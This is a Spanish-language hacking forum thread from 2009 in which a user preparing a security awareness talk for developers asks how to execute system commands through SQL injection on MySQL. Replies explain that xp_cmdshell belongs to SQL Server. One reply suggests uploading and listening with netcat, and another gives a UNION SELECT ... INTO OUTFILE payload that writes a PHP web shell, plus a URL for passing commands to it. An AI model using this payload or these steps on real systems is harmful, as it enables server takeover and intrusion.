elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 17:19  


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Ayuda, EXEC en MySQL
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda, EXEC en MySQL  (Leído 4,142 veces)
slackbyte

Desconectado Desconectado

Mensajes: 81


Ver Perfil
Ayuda, EXEC en MySQL
« en: 6 Septiembre 2009, 07:02 »

Hola que tal, antes que nada quiero agradecer que se tomen el tiempo para leer mi consulta y poderme ayudar, aquí les expongo mi caso:

No soy ningún experto en seguridad informática, sin embargo aquí mismo en mi trabajo han iniciado algunos chavos en automatizar varios procesos de la empresa realizando aplicaciones web usando mayormente PHP, y por lo mismo de que no están muy experimentados en el área, yo he detectado algunos errores que he reportado para que se modifiquen, y ahora mi jefe quiere que exponga una mini conferencia a los programadores que tienen en este momento laborando, sobre los riesgos de no aplicar la seguridad necesaria en sus aplicaciones web, y pues ya tengo un par de días preparando de manera dinámica la exposición, mostrando ejemplos de xss, rfi, etc. Y por supuesto, de SQL Injection.
Y aquí es a donde quiero llegar, ya que a pesar de que tengo alguno que otro ejemplo que mostrar, me gustaría enseñarles a los programadores que es posible acceder al servidor usando comandos DOS o bash(lo vi alguna vez en una conferencia que pasó por televisión, pero las letras se veían borrosas), y esto pues apoyándonos con netcat, sin embargo por más que he probado no logro hacer que por medio de una query se ejecute dicho comando de netcat para abrir un puerto. He intentado de varias maneras, entre ellas:

Exec master.dbo.xp_cmdshell ‘dir’;
Exec master..xp_cmdshell ‘dir’;

Y no pasa nada, me sigue mandando este error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'exec master..xp_cmdshell 'dir'' at line 1

Estoy intentando meter este comando directamente para ver que funcione y después usarlo como inyección, pero no me sale nada, y ojalá puedan ayudarme sobre como es el comando correcto para ejecutar comandos, ya sea en una terminal de *nix, o bien, en Windows. Se los voy a agradecer bastante.

Como dato, estoy usando MySQL 5.1.32-community
P.D. ojalá nada tenga que ver con la versión de MySQL, pues alguien me comentó hace tiempo que aun en esta versión era posible, espero no me haya engañado  :-\.
En línea
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Ayuda, EXEC en MySQL
« Respuesta #1 en: 6 Septiembre 2009, 12:44 »

Estas seguro de que el Admin no ha deshabilitado ese store procedure? Es lo mas tipico.
De todas maneras creo que con SQlat podias emularllo mientras no se haya removido la .dll.


Saludos.


Citar
Now not just anyone can run this extended stored procedure. If you want to execute this extended stored procedure, you will either need to be a member of the sysadmin role, or have the xp_sqlagent_proxy_account set up on your SQL Server
« Última modificación: 6 Septiembre 2009, 12:49 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
ANELKAOS
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.049


#include<nda.h>


Ver Perfil WWW
Re: Ayuda, EXEC en MySQL
« Respuesta #2 en: 6 Septiembre 2009, 14:12 »

Cierto, exec no es una sentencia válida en MySQL.

Comprueba donde tienes permisos de escritura, si no tienes, crea una cuenta de usuario; sube un netcat, dejalo a la escucha, te conectas y ya es tuyo. Recuerda siempre matar el netcat o shell que dejes abierta cuando hayas terminado.

Un saludo.
« Última modificación: 10 Septiembre 2009, 18:17 por ANELKAOS » En línea

tomrian

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: Ayuda, EXEC en MySQL
« Respuesta #3 en: 8 Septiembre 2009, 12:52 »

Primero y principal, EXEC es una sentencia de SQL Server, no de Mysql. Asi que se te va a ser un toque complicado ejecutar cualquier comando :P.
Mysql no tiene ningun procedimiento que pueda ser involucrado en un SELECT o cualquier sentencia SQL para ejecutar comandos de sistema. Lo que te convendría hacer para tu demostración es crear un shell PHP para, ahi si, ejecutar los comandos que quieras.

Para hacer esto, el usuario MySQL que utilice el sitio vulnerable tiene que tener el permiso File_priv para la escritura de archivos. Después, un ejemplo de lo que podes inyectar es:
Código:
(...) UNION SELECT 1,"<? system($_REQUEST['cmd']); ?>",2,3,4,5 INTO OUTFILE "/path/al/directorio/de/la/web/shell.php" --

Con esto ya estas hecho y podes hacer todo lo que ANELKAOS te comentaba, mandando comandos asi :
Código:
hxxp://www.sitio.com/shell.php?cmd=LO_QUE_SE_TE_ANTOJE

Frutibesos.
En línea
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Ayuda, EXEC en MySQL
« Respuesta #4 en: 9 Septiembre 2009, 12:45 »

Ala!

Pues si que no lei bien, xp_cmdshell en una RDBMS como MySQL..

Muy bien explicado aqui el compañero.
« Última modificación: 12 Septiembre 2009, 00:29 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
slackbyte

Desconectado Desconectado

Mensajes: 81


Ver Perfil
Re: Ayuda, EXEC en MySQL
« Respuesta #5 en: 10 Septiembre 2009, 22:33 »

Disculpen la tardanza en mi respuesta, quiero agradecerles su tiempo para responder, y si, creo que necesitaria SQL Server para poder ejecutar esas consultas. Por lo visto la persona que realizó dicho ejemplo contaba con SQL Server y no MySQL :-\

Se me habia ocurrido hacer algo similar a lo que tu expones tomrian, es solo que queria hacer algo mas... emm como llamarlo... no se me viene la palabra, pero dar a entender que desde una pantalla de login se pudiera abrir una shell con netcat, de todas maneras muchas gracias por ese tip, y si lo tomaré en cuenta, a y gracias por el frutibeso jeje.

Salu2!
En línea
tomrian

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: Ayuda, EXEC en MySQL
« Respuesta #6 en: 11 Septiembre 2009, 23:26 »

Jajaja despreocupate que hay muchos de esos jaja. Y soy hombre che ! Tengo bien claro lo que me cuelga :P.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
exec y sus derivadas
Programación C/C++
NewBe 10 1,031 Último mensaje 2 Noviembre 2011, 06:27
por vertexSymphony
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines